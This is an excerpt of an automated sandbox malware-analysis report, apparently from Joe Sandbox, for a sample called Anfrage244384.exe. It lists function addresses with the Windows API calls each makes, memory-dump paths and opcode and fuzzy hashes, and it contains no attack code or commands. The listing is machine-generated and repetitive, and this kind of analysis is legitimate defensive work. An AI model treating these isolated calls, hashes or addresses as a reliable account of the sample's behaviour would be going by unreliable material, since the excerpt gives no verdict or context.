                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CloseOpenQueryValue
                                                        • String ID:
                                                        • API String ID: 3677997916-0
                                                        • Opcode ID: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                        • Instruction ID: e91595cf43b51ebfb07aaa5ef395d3110d573e6c70d377c823b3106e64d9cd55
                                                        • Opcode Fuzzy Hash: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                        • Instruction Fuzzy Hash: 9611E371A00205EFDB20CF60CA985AEBBB4AF10359F20443FE042B72C0D2B88A85DB19
                                                        Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                        • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID:
                                                        • API String ID: 3850602802-0
                                                        • Opcode ID: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                        • Instruction ID: 86e07a789f87ce41f875dd809bfef8a2c44af10f02abad90d5e7e67c6ed0449b
                                                        • Opcode Fuzzy Hash: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                        • Instruction Fuzzy Hash: 6C01F4317242109BE7199B399D04B6A3698E710719F54823FF852F61F1D678DC038B4C
                                                        Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 0040239F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CloseDeleteOpenValue
                                                        • String ID:
                                                        • API String ID: 849931509-0
                                                        • Opcode ID: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                        • Instruction ID: e00662a738be89c3cfbff0ecf138b3afd2420e904d99b7d2952bcd9b842c0734
                                                        • Opcode Fuzzy Hash: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                        • Instruction Fuzzy Hash: 39F0AF72A00111ABDB20BFA09B8EABE72B89B40354F24003BF241B71C0D9FD8D029769
                                                        Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
                                                        • lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: EnvironmentExpandStringslstrcmp
                                                        • String ID:
                                                        • API String ID: 1938659011-0
                                                        • Opcode ID: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                        • Instruction ID: 71b0070a6829c7cde886a334cb24b035409c21bf23b10b7f61276c16d8a13fe4
                                                        • Opcode Fuzzy Hash: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                        • Instruction Fuzzy Hash: C4F08231705201EBCF20DF659E45A9B7FA8EF91354B10403BE145F6190D6788542DA6C
                                                        Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShowWindow.USER32(00000000,00000000), ref: 00401E43
                                                        • EnableWindow.USER32(00000000,00000000), ref: 00401E4E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Window$EnableShow
                                                        • String ID:
                                                        • API String ID: 1136574915-0
                                                        • Opcode ID: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                        • Instruction ID: 766ce69f8d9f29119b9d93d8ed06da5c6cb9de514c9912c491c81b05177acf23
                                                        • Opcode Fuzzy Hash: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                        • Instruction Fuzzy Hash: 40E01272B04211AFE714EBB5EA895AE7BB4EF40325B20403BE441F21D1DA7949419B5D
                                                        Function 0040615C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • Part of subcall function 004060EE: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                          • Part of subcall function 004060EE: wsprintfA.USER32 ref: 0040613E
                                                          • Part of subcall function 004060EE: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                        • String ID:
                                                        • API String ID: 2547128583-0
                                                        • Opcode ID: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                        • Instruction ID: fe74a3adc9e6e91e185966662b1f988274032fa32bcfbda24cecdfcd84f5f1f8
                                                        • Opcode Fuzzy Hash: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                        • Instruction Fuzzy Hash: 94E08632604211ABD6115A749E0493B63A89F84740302443EF556F6181DB38DC3296AD
                                                        Function 00405A36 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                        • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: File$AttributesCreate
                                                        • String ID:
                                                        • API String ID: 415043291-0
                                                        • Opcode ID: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                        • Instruction ID: c63a2702068139c3e9e84e7d8e4b9ff8807d85cc1eea12f828f76e542108ca00
                                                        • Opcode Fuzzy Hash: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                        • Instruction Fuzzy Hash: 4ED09E31254301EFEF098F20DE16F2EBAA2EB84B01F11552CBA82950E0DA7158199B15
                                                        Function 0040551F Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateDirectoryA.KERNELBASE(?,00000000,00403196,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405525
                                                        • GetLastError.KERNEL32 ref: 00405533
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CreateDirectoryErrorLast
                                                        • String ID:
                                                        • API String ID: 1375471231-0
                                                        • Opcode ID: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                        • Instruction ID: 6753ad635049e665ee29f65e98c6a641fb529068fc3dcc6b05b24214ffa30412
                                                        • Opcode Fuzzy Hash: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                        • Instruction Fuzzy Hash: 2FC04C70255901EBDB515F20AF087177965AB60781F564839618AE10E4DA748415D92D
                                                        Function 100027E8 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VirtualAlloc.KERNELBASE(00000000), ref: 100028A7
                                                        • GetLastError.KERNEL32 ref: 100029AE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: AllocErrorLastVirtual
                                                        • String ID:
                                                        • API String ID: 497505419-0
                                                        • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                        • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                        • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                        • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                        Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: wsprintf
                                                        • String ID:
                                                        • API String ID: 2111968516-0
                                                        • Opcode ID: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                        • Instruction ID: 05ba47fdecc3ea63c4ababd7ecb476dc6fb20db578e5a9eb58a554c529b3a997
                                                        • Opcode Fuzzy Hash: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                        • Instruction Fuzzy Hash: 6021C970D0429AFADF218B9885486AEBF749F11314F1445BFE894B63D1C1BE8A81CF19
                                                        Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MoveFileA.KERNEL32(00000000,00000000), ref: 00401685
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FileMove
                                                        • String ID:
                                                        • API String ID: 3562171763-0
                                                        • Opcode ID: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                        • Instruction ID: af85bf01cb9a50de78f0d69bccb7876c1bca0e6a55c196669191a5ce7f6391a1
                                                        • Opcode Fuzzy Hash: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                        • Instruction Fuzzy Hash: E6F09031B08225A3DB20B7B64F0DD5F11649B82368B34027BF111B21D1DABD860296AE
                                                        Function 00402695 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026B3
                                                          • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FilePointerwsprintf
                                                        • String ID:
                                                        • API String ID: 327478801-0
                                                        • Opcode ID: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                        • Instruction ID: 70d0227debc7a37a578d7891b0457e087c522133a583d4ed7425beec3b860107
                                                        • Opcode Fuzzy Hash: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                        • Instruction Fuzzy Hash: 40E012B1B04119ABD701EB95AE898BF7BA9DF50329F10843BF141F10D1C67E49429B2D
                                                        Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: PrivateProfileStringWrite
                                                        • String ID:
                                                        • API String ID: 390214022-0
                                                        • Opcode ID: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                        • Instruction ID: 835d7e161f894c1f3c63ad3b4a4a0fef325150ad5848be7be1b76146568c1c9e
                                                        • Opcode Fuzzy Hash: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                        • Instruction Fuzzy Hash: 9EE04F31B001246BD7307AB10F8E97F10999BC4304B39153EBA01B62C6EDBC4C414AB9
                                                        Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: PathSearch
                                                        • String ID:
                                                        • API String ID: 2203818243-0
                                                        • Opcode ID: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                        • Instruction ID: ffb32fe50564557a3c315a30f6fc07dc6475dfcf7bd80787db6a7ea0a2c14a15
                                                        • Opcode Fuzzy Hash: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                        • Instruction Fuzzy Hash: B2E020B1304111ABD710DF54DE48EAB3B58DF10368F30413AF151F60C0D5FA5945A738
                                                        Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Open
                                                        • String ID:
                                                        • API String ID: 71445658-0
                                                        • Opcode ID: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                        • Instruction ID: 602783241e3b5571dba8f65d987ce24de14800ae8f8c1c2312d958f7963b7942
                                                        • Opcode Fuzzy Hash: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                        • Instruction Fuzzy Hash: 4EE04F76250108BADB00EFA4EE46F9537ECE744700F008435B608E61A1C674E5408B68
                                                        Function 00405ADD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040310E,00000000,00415420,000000FF,00415420,000000FF,000000FF,00000004,00000000), ref: 00405AF1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FileWrite
                                                        • String ID:
                                                        • API String ID: 3934441357-0
                                                        • Opcode ID: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                        • Instruction ID: 1ed90d873f298f356d36a2c1dae4bb172ade26fd4588ec9ef5a2339dc9f33d8e
                                                        • Opcode Fuzzy Hash: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                        • Instruction Fuzzy Hash: 11E0EC3221425AABDF609E65DC04AEB7B7CFB05360F014436F925E6190D631F821DFA5
                                                        Function 00405AAE Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403158,00000000,00000000,00402F82,000000FF,00000004,00000000,00000000,00000000), ref: 00405AC2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
